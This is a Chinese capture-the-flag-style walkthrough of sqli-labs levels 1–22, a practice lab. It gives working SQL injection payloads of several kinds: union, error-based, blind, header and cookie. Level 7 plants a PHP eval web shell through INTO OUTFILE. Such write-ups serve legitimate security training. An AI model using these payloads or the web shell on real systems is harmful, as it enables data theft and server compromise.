sqli-labs——保姆级1~22闯关详解

2023-10-26

目录

【Less-1】GET-Error based -Single quotes -String/错误的GET单引号字符串型注入

【Less-2】GET-Error based -intiger based/错误的GET数值型注入

【Less-3】GET-Error based -Single quotes with twist -String/错误的GET单引号变形括号型字符型注入 

【Less-4】GET-Error based - Double Quotes - String/错误的GET双引号变形字符型注入

【Less-5】GET-Double Injection - String Quotes - String/基于’字符型的错误回显注入

【Less-6】GET-Double Injection - Double Quotes/基于”字符型的错误回显注入

【Less-7】GET- Dump into outfile -String/导出文件GET字符型注入 

【Less-8】GET-Blind-Boolian Based - Single Quotes/GET的基于’的盲注

【Less-9】GET-Blind-Time Based. - Single Quotes/GET的基于’的时间盲注

【Less-10】GET-Blind-Time Based - double quotes/GET的基于”的时间盲注

【Less-11】POST - Error Based - Single quotes - String/错误的POST’注入

【Less-12】POST - Error Based - Double quotes - String - with twist/错误的POST”)注入

【Less-13】POST - Double Injection - Single quotes - with twist/错误的POST’)注入

【Less-14】POST - Double Injection - Single quotes - with twist/(less14的标题有点问题,这题是基于"的POST错误回显注入)

【Less-15】POST - Blind Boolian/time Based - Single quotes/基于’的POST时间盲注

【Less-16】POST - Blind Boolian/time Based - Double quotes/基于’’)的POST时间盲注

【Less-17】POST - Update Query - Error Based - String/基于’的POST密码报错注入

【Less-18】POST - Header Injection - Uagent field - Error based/基于post的UA注入

【Less-19】POST - Header Injection - Referer field - Error based/基于post的Referer’注入

【Less-20】POST - Cookie Injections - Uagent field - Error based./基于post的cookie注入

【Less-21】POST - Dump into outfile - String/POST基于’)的Cookie注入

【Less-22】future editions/未来版本



一、SQL注入的前提:

  1. 判断是否有注入
    1. 可控参数如id=1,能否影响页面的显示结果
    2. 输入SQL语句的时候,是否报错,能否通过报错,看到数据库的一些语句痕迹
    3. 尝试输入的语句能否不报错,使得成功闭合语句
  2. 判断是什么类型的注入
  3. 语句能否被修改
  4. 是否能够成功执行
  5. 获取我们想要的数据

基本知识:

column_name:列的名称

Information_schema.columns:表示所有的列的信息

Information_schema:表示所有信息,包括库、表、列

Information_schema.tables:表示所有的表的信息

table_schema:数据库的名称

table_name:表的名称

判断有多少列
order by x

占位查看回显位置
select 1,2,3 

查看数据库名
union select 1,2,database()­­
­
查看数据库的表(group_concat和limit)
【group_concat】
union select 1,2,group_concat(table_name) from information_schema.tables where table_schema ='security'
【limit】
union select 1,2,table_name from information_schema.tables where table_schema ='security' limit 0,1

查看表的字段内容
union select 1,2,group_concat(column_name) from information_schema.columns where table_name=’emails’

【Less-1】GET-Error based -Single quotes -String/错误的GET单引号字符串型注入

当输入条件?id=1 and1=2为假的时候,未报错,单引号将输入的内容进行了闭合

输入1’将其闭合的时候发现报了一些信息,蓝色划出来的既输入的内容

利用这个漏洞查询,万能order by查字段

有3字段,查询回显位置

第2,3两字段能回显

查询数据库和字段内容

?id=1' and 0 union select 1,user(),database() %23

?id=1' and 0 union select 1,user(),group_concat(table_name) from information_schema.tables where table_schema='security' %23

【Less-2】GET-Error based -intiger based/错误的GET数值型注入

输入?id=1 and 1=1,语句执行正常,与原始页面如任何差异

输入?id=1 and 1=2,语句可以正常执行,但是无法查询出结果,返回数据与原始网页存在差异 

判断为数值型漏洞,进行万能order by排序 

查询回显的位置 

【这里要讲一下为什么需要输入select 1,2,3。其实这里的1,2,3只是起了占位的作用,可以用任何数替代,目的是为了确定上一步order by 有3个字段成功后,将1,2,3代入这3字段,查看这3个字段有哪些字段回显】

查询数据库security的表

?id=1 and 1=2 union select 1,user(),group_concat(table_name) from information_schema.tables where table_schema='security'

【Less-3】GET-Error based -Single quotes with twist -String/错误的GET单引号变形括号型字符型注入 

输入?id=1 and 1=2,没有报错,排除数值型 

在id=1后面加引号,报错了,而且发现和第一题一样,只不过这里用括号将输入的内容进行闭合

在id=1’后加括号,闭合我们的语句,再用--+注释掉后面的括号【%23也行】 

order by查询到共有3个字段 

查询数据库和表内容 

?id=1') and 1=2 union select 1,user(),database()%23

?id=1') and 1=2 union select 1,user(),table_name from information_schema.tables where table_schema='security' limit 0,1 %23

【Less-4】GET-Error based - Double Quotes - String/错误的GET双引号变形字符型注入

输入?id=1 and 1=2没有报错,可能是单引号将输入的内容过滤,判断为字符型

输入?id=1’ and 1=2依旧不行

查看一下源码【在PhpStudy\PHPTutorial\WWW\sqli-labs-master\Less-4目录下】

这里用双引号?id=1”) --+将输入语句闭合 

用order by进行查询字段,这里4报错,字段数为3

查询数据库和表

?id=1") and 1=2 union select 1,user(),database() --+

?id=1") and 1=2 union select 1,user(),group_concat(table_name) from information_schema.tables where table_schema=database() --+

【database()=security】

【Less-5】GET-Double Injection - String Quotes - String/基于字符型的错误回显注入

不管输入什么,都只会显示you are in

尝试在id=1后面加引号,发现报错

用order by查字段【记得将’注释】,当查询到4的时候报错,说明只有3字段

这里不能查看回显位置了,依靠updatexml报错来获取信息 

?id=1' and 1=2 union select updatexml(1,concat(0x7e,database(),0x7e),1)%23

根据updatexml的报错注入来获取信息

updatexml (string, xpath_string, string)
第一个参数string:可以输入1,为XML文档对象的名称
第二个参数xpath_string :提取多个子节点的文本
第三个参数string:可以输入1,替换查找的符合条件的参数

0x7e是一个代表~的十六进制,可以用’%’,或者’~’来代替

然后查询表

?id=1' and updatexml(1, concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)--+ 

【Less-6】GET-Double Injection - Double Quotes/基于字符型的错误回显注入

和第五题一模一样,只不过第五题是单引号,这里是双引号,不多做演示了

?id=1" and updatexml(1,concat(0x7e,(select database()),0x7e),1) %23 

?id=1" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) %23

【Less-7】GET- Dump into outfile -String/导出文件GET字符型注入 

这一题,属实整理的不容易,看了很多的攻略,有的要么跳步骤,要么没说清楚,跟着走了不少弯路,这里会进行一个保姆级的步骤

首先,输入?id=1,题目会给我们一个提示use outfile,关于outfile后面再讲,先讲一下如何解出来的

输入为假的条件?id=1 and 1=2,并没有报错,可能是字符串型,将输入的内容闭合了 

闭合我们输入的条件 

发现报错,尝试万能order by 

报错了,居然不行,查看一下源码 

进入phpstudy,在phptutorial文件下的www 

www下的sqli-labs-master

在里面找到less-7,打开index.php就可以查看源码了

 

可以看到,将输入的内容用))闭合,这就好办了

查出来是3字段,如果现在要在里面写入一句话的话,是一定会失败的,MySQL对于outfile初始是off,所有我们需要在my.ini内,写入一个on的权限

首先,进入自己的MySQL的文件夹

【如果是你不知道你的MySQL在哪,就打开第一题输入,如果知道具体位置,那输不输无所谓

?id=1' and 1=2 union select 1,@@datadir,@@basedir %23】

进入my.ini,加入一句话,如下

这句:secure_file_priv=  

secure_file_priv=  

加入完成之后,将我们的my.ini关闭,然后重启mysql!!!

以管理员身份运行

先打开,再关闭

再打开

当然,也可以直接重启MySQL也行,这里重启完成之后,我们就可以成功写入一句话了

?id=1')) union select 1,2,"<?php eval($_POST[ganyu]);?>" into outfile "E:\\phpstudy\\PhpStudy2018\\PHPTutorial\\WWW\\sqli-labs-master\\Less-7\\gy.php" %23
<?php eval($_POST[ganyu]);?>#一句话木马

关于【E:\\phpstudy\\PhpStudy2018\\PHPTutorial\\WWW\\sqli-labs-master\\Less-7\\gy.php】这个路径,其实就是上面你查看源码的那个路径,写进去就行啦!

然后我们用蚁剑连接,这里我的一句话密码是ganyu,连接的时候如果不是一样的一句话的话,可别跟着写了 

后面的内容无非就是连接上了之后,查案数据库内容,这里就麻烦自己去探索了,做完这题之后,一定要记得将my.ini内加的那句话删除

原理:into outfile 语句会把表数据导出到一个文本文件中,如果在文件内写入一句话,即可用蚁剑一键连接。

【Less-8】GET-Blind-Boolian Based - Single Quotes/GET的基于的盲注

输入?id=1 and 1=2,没报错

尝试加入单引号或双引号,也没有报错 

尝试将后面的内容用%23或--+注释

成功,布尔类型盲注,判断数据库长度

?id=1' and length(database())>5 %23

最后得知长度为8

最后得知数据库为:security查询表

?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) <127 %23

【Less-9】GET-Blind-Time Based. - Single Quotes/GET的基于的时间盲注

输入一个为真的条件,并没有sleep基于线程(x)的时间

可能是’将输入的内容闭合

?id=1' and if(1=1,sleep(2),0) --+

查询一下数据库的长度

?id=1' and if(length(database())=8,sleep(2),0) --+

经过测试,长度为8,查表名

?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))<127,sleep(2),0) --+

【Less-10】GET-Blind-Time Based - double quotes/GET的基于的时间盲注

基本步骤和第九题的一样,单引号闭合改成双引号闭合

?id=1" and if(1=1,sleep(2),0) %23

查询数据库长度

?id=1" and if(length(database())=8,sleep(2),0) %23

数据库长度为8,查询表名

?id=1" and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<127,sleep(2),0) %23 

【Less-11】POST - Error Based - Single quotes - String/错误的POST注入

如果在登录框传入的参数拼接到SQL语句中,从而造成sql注入漏洞。

从源码可以看到,未对输入的内容进行一个限制或者过滤

所以我们可以在name一栏输入内容,用单引号将其闭合,再用 -- 注释后面的内容【注意这里--后面是需要加一个空格的】

利用order by查字段,这里一共有2字段

利用union select 1,2查看回显位置,union前面内容为假 

1' and 0 union select 1,2 -- 

查询数据库

1' and 0 union select user(),database() -- 

查询数据库的表

1' and 0 union select user(),group_concat(table_name) from information_schema.tables where table_schema='security' -- 

【Less-12】POST - Error Based - Double quotes - String - with twist/错误的POST)注入

看一下源码,双引号加括号将输入的内容闭合 

和上题差距不是特别大

admin”) order by 2 -- 

查询数据库

admin") and 0 union select user(),database() -- 

查询表

admin") and 0 union select user(),group_concat(table_name) from information_schema.tables where table_schema=database() -- 

【Less-13】POST - Double Injection - Single quotes - with twist/错误的POST)注入

 查看一下源码,单引号加括号将输入的内容闭合

这里POST传值没有任何过滤,所有插入的参数会被带入形成sql执行

用万能order by查询字段数

 如果想要像这样有回显的话

打开less-13

在index.php内添加一句输入

然后保存,添加的时候一定别忘了加;,否则报错

这里利用updatexml报错注入,查询数据库

1') and 0 union select updatexml(1,concat(0x7e,database(),0x7e),1) -- 

1') union select 1,updatexml(1,concat(0x7e,(select(group_concat(table_name)) from information_schema.tables where table_schema=database()),0x7e),1) --  

【Less-14】POST - Double Injection - Single quotes - with twist/(less14的标题有点问题,这题是基于"的POST错误回显注入)

查看一下源码,这里用”将输入的内容进行闭合 

输入1” order by -- 查询字段,当输入3的时候报错,只有两个字段

查询数据库

1" union select updatexml(1,concat(0x7e,database(),0x7e),1) -- 

查询表名

1" union select 1,updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) -- 

【Less-15】POST - Blind Boolian/time Based - Single quotes/基于的POST时间盲注

查看源码,单引号将输入的内容闭合

输入1 or或者admin and 的时候将输入的内容闭合即可

用or/and查询数据库长度

1' or if(length(database())=8,sleep(2),0) --

admin' and if(length(database())=8,sleep(2),0) -- 

查表名

1' or if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(2),0) --

admin' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(2),0) -- 

关于时间注入布尔盲注,推荐使用burpsuite爆破或者是sqlmap去做,手动太慢

【Less-16】POST - Blind Boolian/time Based - Double quotes/基于’’)的POST时间盲注

一开始没有好好审题以为和上题一样,只是是利用’’闭合,然后懒得看源码的缘故一直试了好久,后来发现)将我们内容闭合。。。

查数据库吧 

1") or if(length(database())=8,sleep(2),0) -- 

查表

1") or if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(2),0) -- 

【Less-17】POST - Update Query - Error Based - String/基于’的POST密码报错注入

从源码中得知uname进行了安全过滤,使我们无法从对用户名入手。但是对于password没有进行任何防护,所以这里突破点在password

当输入数据的时候,会先对users表与我们输入进去的用户名进行对比。如果没有这个用户,就会告诉你报错,所以这里unmae要输入admin【admin可以通过bp爆破】 

' and updatexml(1,concat(0x7e,(select database()),0x7e),1)#

查表名

1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)#

【Less-18】POST - Header Injection - Uagent field - Error based/基于post的UA注入

在做完第十七关的时候,开始做第十八关,会发现用admin无法登录的情况,导致后面的ua无法注入成功

进入第十七关,将密码设为admin就行了,可以用bp抓包解决题目也可以用hackbar

这里直接用bp抓包

点击重放 

改包,注入点在ua

查表

'or extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)) and '1'='1

【Less-19】POST - Header Injection - Referer field - Error based/基于post的Referer注入

源码里面利用referer带入sql语句执行

注入点在referer,查询数据库 

表名

' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) and '1'='1

【Less-20】POST - Cookie Injections - Uagent field - Error based./基于post的cookie注入

突破点在you cookie这里

我们登录的时候这里的直接显示了用户名等等之类的信息,猜测应该是将我们的cookie传入到了服务器端,然后记录到了数据库里面。

uname=' and updatexml(1,concat(0x7e,(select database()),0x7e),1)# 

uname=' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)#

【Less-21】POST - Dump into outfile - String/POST基于’)Cookie注入

我们将YMRtaW4尝试解码,可以看到admin被加密了

如果我们在admin后加一些SQL语句,然后一起加密是否也会被执行呢?

将admin' and 0 union select 1,2,database()#进行编码

然后黏贴到cookie的位置,发送后发现报错,这里)将我们的内容闭合,所有我们得在admin’后加括号

再次粘贴发送,回显数据库名称

回显数据库

admin') and 0 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#

【Less-22】future editions/未来版本

这一题依旧是从cookie入手,将admin进行base64编码 

将order by进行编码,查看有几个字段 

但是没有给任何回显

有可能是双引号闭合,再次进行编码

神奇,回显没有四个字段

order by 3 试试

成功回显,利用select 1,2,3查看回显位置

admin" and 0 union select 1,2,3#

1,2,3应该是都可以利用

查询表和数据库和用户名

admin" and 0 union select user(),database(),group_concat(table_name) from information_schema.tables where table_schema=database()# 

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

sqli-labs——保姆级1~22闯关详解 的相关文章

  • 简单明了实现Java地图小程序项目

    简单明了实现Java地图小程序项目 博主介绍 前言 地图概述 地图技术 地图应用场景 网约车服务 智能穿戴 智能物流 智能景区 车联网 国内常见地图 地图API与搜索 JS API GL 演示百度地图 创建浏览器端应用 创建地图 添加控件

随机推荐